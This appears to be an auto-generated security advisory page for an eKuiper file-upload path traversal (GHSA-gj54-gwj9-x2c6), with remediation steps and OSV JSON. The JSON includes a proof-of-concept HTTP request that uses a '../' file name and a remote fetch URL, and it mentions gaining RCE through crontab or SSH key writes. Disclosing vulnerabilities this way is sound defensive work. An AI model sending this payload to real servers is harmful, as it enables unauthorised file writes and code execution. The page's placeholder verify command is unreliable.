GHSA-gj54-gwj9-x2c6: Github.com/lf edge/ekuiper/v2 Remote Code Execution Vulnerability
HIGHGHSA-gj54-gwj9-x2c6 is a HIGH remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Github.com/lf edge/ekuiper/v2 libraries in the Go ecosystem. The issue involves ekuiper /config/uploads api arbitrary file writing may lead to rce. Remediation is available by upgrading affected packages to version 2.2.0.
GHSA-gj54-gwj9-x2c6 at a Glance
How to Fix GHSA-gj54-gwj9-x2c6
To remediate this vulnerability, upgrade all affected Github.com/lf edge/ekuiper/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lf-edge/ekuiper/v2 to 2.2.0
Upgrade github.com/lf-edge/ekuiper to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lf-edge/ekuiper/v2
How to Check if You Are Affected
To determine whether your application is affected by GHSA-gj54-gwj9-x2c6, inspect your project dependencies for Github.com/lf edge/ekuiper/v2:
inspect dependencies for github.com/lf-edge/ekuiper/v2
Analyze the terminal output to locate any version of Github.com/lf edge/ekuiper/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Github.com/lf edge/ekuiper/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-gj54-gwj9-x2c6 Affected Github.com/lf edge/ekuiper/v2 Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lf-edge/ekuiper/v2
|
Go |
< 2.2.0
|
2.2.0
|
|
github.com/lf-edge/ekuiper
|
Go |
≤ 1.14.7
|
|
References
Frequently Asked Questions
What is GHSA-gj54-gwj9-x2c6?
Which Github.com/lf edge/ekuiper/v2 versions are affected?
What version fixes GHSA-gj54-gwj9-x2c6?
Is github.com/lf-edge/ekuiper/v2 affected?
Is github.com/lf-edge/ekuiper affected?
What CWE is associated with GHSA-gj54-gwj9-x2c6?
How can I check Go dependencies for GHSA-gj54-gwj9-x2c6?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gj54-gwj9-x2c6",
"modified" : "2025-07-03T14:22:05Z",
"published" : "2025-07-03T14:22:05Z",
"aliases" : [ ],
"summary" : "eKuiper /config/uploads API arbitrary file writing may lead to RCE",
"details" : "### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := &fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lf-edge/ekuiper/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.2.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lf-edge/ekuiper"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.14.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lf-edge/ekuiper"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-434" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-07-03T14:22:05Z",
"nvd_published_at" : null
}
}